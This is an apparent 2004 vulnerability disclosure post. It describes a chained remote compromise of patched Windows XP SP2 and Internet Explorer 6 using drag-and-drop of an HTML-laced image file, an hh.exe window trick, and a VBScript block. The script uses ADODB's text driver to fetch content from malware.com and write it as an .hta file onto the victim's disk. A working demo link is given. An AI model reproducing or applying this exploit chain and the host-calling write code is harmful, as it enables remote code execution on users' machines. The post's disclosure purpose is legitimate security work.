Likes: 
Tuesday, October 19, 2004
The following technical exercise demonstrates the enormously
elaborate methods required to defeat the current [as of today's
date] security mechanisms in place in both Microsoft Windows XP
SP2 and Internet Explorer 6.00 SP2 fully
patched:
It is by no means easy. The 'locking down 'of the local zone is
and has been the 'Achilles' Heel' of the manufacturer known as
Microsoft from time of inception to date.
What we craft herewith is:
a) an enormous waste of personal resources and time
be) a full and complete remote compromise of the target computer
It is sufficiently diluted to allow for technical explanation at
this time, however, considering that today 'full fireworks' from
the get-go appear to be mundane to those that need, or pretend,
to need to know, brighter sparks may or may not 'see the light' !
The problem is three-fold:
The SP2 'patch' for the Microsoft XP so-called 'operating
system' does indeed do a terrific job of shutting out all Active
Content from the so-called Local Zone. So much so as to , in
addition to that aspect, killing off of the ADODB.Stream and
Shell.Application [very] ActiveX controls.
The questions then are:
a) if we can run code in the local zone, what can we run to
read, write and delete
b) if we can run code that can read, write and delete, how
exactly do we run it
Like so:
1/ The recent 'drag drop' patch crammed into the Internet
Explorer so-called 'Cumulative Security Update for Internet
Explorer (834707)' yields some interesting results
2/ Clearly the mechanism to put anything other than the intended
MIME type in the src or dynsrc has been bolstered. Almost to the
point of being a specific set of file types. One might suspect
the capabilities of the newly enriched 'snot nosed' security of
Internet Explorer is called into play:
A
a) .xml;.doc;.py;.cdf;.css;.pdf;ppt and a number of others
prove 'draggable'. Key or 'executable' file types do not -- for
obvious reasons [now].
b) the 'trick' is then to emulate these file types. Quite
correctly Internet Explorer 'sniffs' the file type to ensure its
being. From within. Draggable elements are quite limited. As
in <img src=''...> or <img dynsrc=''...> meaning only legitimate
files assigned can be dragged -- media or image.
c) What we do is inject our html code into the media file,
remove the file type [extention] and let the machine do our
dirty work first step for us
d) Dragging our 'trojaned' image file across, containing our
arbitrary code, we remove the extension and the machine
automagically creates a nice crisp .htm file
e) Big deal they say. Cannot run code in the 'Local Zone'. We
then take an oddity with our most helpful Help function from the
operating system known as hh.exe. By giving this a non-valid or
miss-formed 'window' we are able to then point hh.exe to our
machine made [inclusive of our arbitrary code] .htm file and
execute that within Windows Help. What that means is that this
is not a trivial 'showHelp()' rather an actual .chm opening via
hh.exe remotely. In technical essence that is. Along with its
With pseudo privileges no doubt.
f) Big deal they say. Cannot run read / write / delete/ code in
the 'Local Zone'. Adodb.Stream is dead. Shell.Application is
dead. WScript.Shell has been patched even longer than that. But,
we magically craft new code to replace it like so:
<script language="vbs">
'http://www.malware.com - 19.10.04
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://www.malware.com;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\\WINDOWS\\PCHealth\\malware.hta", adPersistXML
rs.close
conn.close
</script>
Simply put, that is perhaps the last remaining 'piece of code'
that can write arbitrary content to an arbitrary file name in an
aribitrary location.
All it is doing is pulling from malware.com, the contents of a
miserable text file, then writing that content to an .hta file
in the location we tell it to. On the local machine.
Working Diluted Manual Demo [go make your own fireworks !]:
http://www.malware.com/noceegar.html
Notes:
1. the entire process could be automated should one really have
time to waste
2. current so-called 'professional' trends are inclined to "so
what. If it cannot bake toast as well who cares"
3. Exactly. Who really cares !
4. Do you.
End Call
--
http://www.malware.com
Quote
